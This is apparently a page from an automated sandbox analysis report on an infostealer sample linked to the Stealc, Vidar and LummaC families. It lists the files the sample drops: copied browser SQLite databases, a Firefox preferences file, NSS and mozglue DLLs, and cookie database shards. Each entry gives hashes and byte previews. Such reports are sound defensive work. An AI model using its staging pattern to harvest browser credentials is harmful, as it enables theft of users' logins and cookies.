	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	7AeSqNv1rC.exe	Get hash	malicious	MicroClip, Vidar	Browse
	VmRHSCaiyc.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse
	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse
	c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	lihZ6gUU7V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGHJEBKJEGHJKECAAKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDBGDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFCGIDAKECGCBGDBAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDAAFBGDBKJJJKFIIIJJJECAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDHCGDAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIEBKJECFCFBFIECBKFBKJKFBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJECGHJDBFIJJJKEHCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJJJDHDGDAAKECAKJDAEGCBKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 7AeSqNv1rC.exe, Detection: malicious, Browse Filename: VmRHSCaiyc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: 7AeSqNv1rC.exe, Detection: malicious, Browse Filename: VmRHSCaiyc.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: T2bmenoX1o.exe, Detection: malicious, Browse Filename: XQywAEbb9e.exe, Detection: malicious, Browse Filename: c95eb189cffef0c6b222d31de3c7ed0f9cabad48a38aa.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: lihZ6gUU7V.exe, Detection: malicious, Browse Filename: Bn7LPdQA1s.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
